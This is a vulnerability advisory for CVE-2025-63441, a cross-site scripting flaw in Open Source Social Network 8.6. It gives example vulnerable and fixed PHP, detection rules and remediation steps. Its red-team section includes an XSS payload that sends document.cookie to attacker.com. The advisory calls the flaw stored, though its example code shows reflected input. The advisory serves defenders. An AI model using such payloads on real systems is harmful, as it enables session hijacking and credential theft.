CVE-2025-63441
Executive Summary
CVE-2025-63441 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Open Source Social Network (OSSN) version 8.6. The flaw resides in the /administrator/friends endpoint, where the param parameter is not properly sanitized before being rendered. An authenticated administrator can inject arbitrary JavaScript code, which will execute in the browsers of other administrators viewing the affected page. This can lead to session hijacking, credential theft, or further compromise of the social network platform. No official patch has been released at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – An administrator account is required.
- User Interaction (UI): Required (R) – The victim must view the malicious page.
- Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No direct impact on availability.
Estimated CVSS Score: 4.8 (Medium)
Threat Level: Medium. Exploitation requires authenticated access, but the impact can be significant within the administrative context.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS. The param parameter in the /administrator/friends endpoint is used to display or process friend-related data. When an administrator submits a request with a malicious payload in the param field, the application stores this input without proper encoding or sanitization. Subsequently, when another administrator navigates to the same page, the stored payload is rendered in the HTML context, causing the browser to execute the injected script.
The root cause is the lack of output encoding for user-controlled data that is reflected in the page. The application likely uses a templating engine or direct string concatenation without escaping HTML entities.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code pattern is described below. A patched version would implement proper output encoding.
Vulnerable Code (Conceptual PHP):
<?php
// Vulnerable: Directly outputs the 'param' value without sanitization
$param = $_GET['param'];
echo "<div class='friend-param'>" . $param . "</div>";
?>
Patched Code (Conceptual PHP):
<?php
// Patched: Uses htmlspecialchars to escape HTML entities
$param = $_GET['param'];
echo "<div class='friend-param'>" . htmlspecialchars($param, ENT_QUOTES, 'UTF-8') . "</div>";
?>
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an OSSN 8.6 instance with administrator credentials.
- A web browser with developer tools.
Exploitation Steps:
- Log in as an administrator.
- Navigate to the
/administrator/friendsendpoint. - In the
paramparameter, inject a JavaScript payload. For example:param=<script>alert('XSS')</script> - Submit the request.
- When another administrator visits the same page, the script executes.
Advanced Payload:
param=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
Blue Team
Detection Steps:
- Monitor web server logs for requests to
/administrator/friendswith suspiciousparamvalues containing<script>,<img onerror, or other HTML/JavaScript constructs. - Use a Web Application Firewall (WAF) to block requests containing common XSS patterns in the
paramparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation Steps:
- Apply input validation to the
paramparameter, allowing only expected characters (e.g., alphanumeric and underscores). - Use output encoding functions like
htmlspecialchars()in PHP or equivalent in other languages. - Regularly update OSSN to the latest version once a patch is released.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/administrator/friendswithparamcontaining<script>,onerror,onload, or other event handlers. - Outbound connections from the OSSN server to unknown IP addresses on ports 80/443 (potential data exfiltration).
- HTTP requests to
File IOCs:
- Modified or new files in the OSSN installation directory, particularly in the
administratorcomponent. - Suspicious entries in the application's database tables related to friend parameters.
- Modified or new files in the OSSN installation directory, particularly in the
Log IOCs:
- Web server access logs showing repeated requests to
/administrator/friendswith unusualparamvalues. - Error logs containing JavaScript syntax errors or unexpected script execution.
- Web server access logs showing repeated requests to
Detection Engineering
YARA Rule
rule ossn_xss_param_detect {
meta:
description = "Detects XSS attempts targeting OSSN param parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-63441"
strings:
$xss1 = "<script" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$xss5 = "alert(" nocase
condition:
any of them
}
Sigma Rule
title: OSSN XSS via param Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in OSSN administrator/friends endpoint
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query:
- '*param=*<script*'
- '*param=*onerror=*'
- '*param=*onload=*'
- '*param=*javascript:*'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panel (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"OSSN XSS Attempt via param Parameter"; flow:to_server,established; content:"/administrator/friends"; http_uri; content:"param="; http_uri; pcre:"/param=.*(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not essential, by modifying the web server configuration to block
/administrator/friends. - Implement a WAF rule to filter out malicious
paramvalues. - Restrict administrative access to trusted IP addresses only.
Long-Term Fix:
- Apply input validation: Only allow alphanumeric characters and underscores in the
paramparameter. - Use output encoding: Ensure all user-controlled data is HTML-encoded before rendering.
- Monitor for patches: Subscribe to OSSN security announcements and apply the official patch as soon as it becomes available.
Workaround:
- Modify the source code to sanitize the
paramparameter usinghtmlspecialchars()or equivalent.
Valters IT